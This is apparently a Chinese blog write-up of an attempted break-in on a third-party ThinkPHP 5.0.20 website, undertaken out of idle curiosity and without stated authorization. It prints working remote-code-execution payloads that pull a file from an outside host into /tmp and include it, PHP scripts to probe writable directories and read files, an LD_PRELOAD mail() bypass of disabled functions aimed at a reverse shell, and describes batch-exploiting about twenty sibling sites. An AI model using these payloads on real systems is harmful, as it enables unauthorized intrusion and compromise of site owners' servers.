前言
闲来无事,看到个帖子,就想看看网站是否有漏洞。
正文
扫描网站目录发现404报错特征和thinkphp的特征很相似,掏出我的祖传getshell工具,未成功。
难道网站不是thinkphp二开的?不可能啊,这个时候就需要看burp的返回结果来判断了,将getshell工具的流量代理到burp,查看返回结果判断是否为thinkphp,Proxifier将getshell工具加入到规则中,burp的render中返回结果证实我的判断,网站的确是thinkphp,版本是5.0.20,存在rce漏洞,但是网站路径无法写入shell文件,权限不够。
payload:
_method=__construct&filter[]=assert&get[]=copy("https://txt.xj.hk/txt/9fpha3","/tmp/1.txt")&method=get
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/1.txt&server[]=1
网站根目录下没有写入权限,用php脚本探测下其他目录有无读写权限,这个情况下只能往tmp目录下写入txt文件,然后去包含txt文件来执行php代码。害,网站根目录下全部限制可读不可写。
php脚本:
<?php
header("content-Type: text/html;charset=gb2312");
function listDir($dir) {
if(is_dir($dir)) {
if($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(is_dir($dir . "/" .$file) && $file!="." && $file!="..") {
if(is_writable($dir."/".$file)&&is_readable($dir."/".$file)) {
echo "<b><font color='red'>文件名:</font></b>".$dir.$file."<font color='red'>可写</font><font color='Blue'>可读</font>"."<br><hr>";
} else {
if(is_writable($dir."/".$file)) {
echo "<b><font color='red'>文件名:</font></b>".$dir.$file."<font color='red'>可写"."<br><hr>";
} else {
echo "<b><font color='red'>文件名:</font></b>".$dir.$file."<font color='red'>可读</font><font color='Blue'>不可写</font>"."<br><hr>";
}
}
listDir($dir."/".$file."/");
}
}
}
closedir($dh);
}
}
listDir("/tmp/")
网站所有目录只有读没有权限,这种情况下有这几种思路:
读出当前网站的数据库文件信息,登录phpmyadmin后进行getshell操作,但是这种情况已经排除了,
第一个是因为目标是宝塔搭建的,权限控制的很严格,
第二个是因为网站所有目录没有写的权限,网站服务器(有cf但是可以通过让网站服务器去访问我们自己的服务器来知道网站真实服务器ip地址)下也没有找到旁站,即使有旁站的话,因为宝塔open_basedir的原因,我们也无法知道旁站的网站路径。
php文件:
<?php
header("content-type:text/html;charset=utf-8");
$file = "/tmp/2.txt";
if(file_exists($file)){
$res = file_get_contents($file);
$res_new = str_replace("\r\n",",",$res);
echo $res_new;
}else{
echo "file not exists!";
}
?>
读取目录文件
print_r(scandir("/tmp/"))
执行命令后反弹shell,宝塔的function_disablefunc中限制了很多php中可以执行命令的函数,但是我们依然可以通过bypass disablefunc来执行命令。
参考“http://r3start.net/index.php/2019/03/15/458”。
读取log日志登录后台getshell(简单测试了下失败了。。。)
4. 旁站
目前只能有思路2可用,就直接开始。
写入so文件到tmp目录,用夏老师的文件传输平台(pan.xj.hk)将so文件上传到平台,然后在thinkphp中用copy函数将文件传输平台的so文件下载到tmp目录。修改bypass php文件,让php可以执行反弹shell。
php文件:
<?php
$cmd = "whoami";
$out_path = "/tmp/cmdlog";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/cmd.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
php脚本中是执行一个whoami命令,结果function_disablefunc限制死了,mail中用来bypass的putenv被禁了,第2个思路也宣布失败。。。
最后实在无奈只能开始看旁站
子域名扫出了二十多个站,全部是和目标同套模板的站,直接写个python脚本批量发送exp,倒是有几个站存在漏洞,返回500代表存在漏洞。
所有网站路径全部可读不可写,唉,放弃了。。。
推荐阅读
原创投稿作者:李公子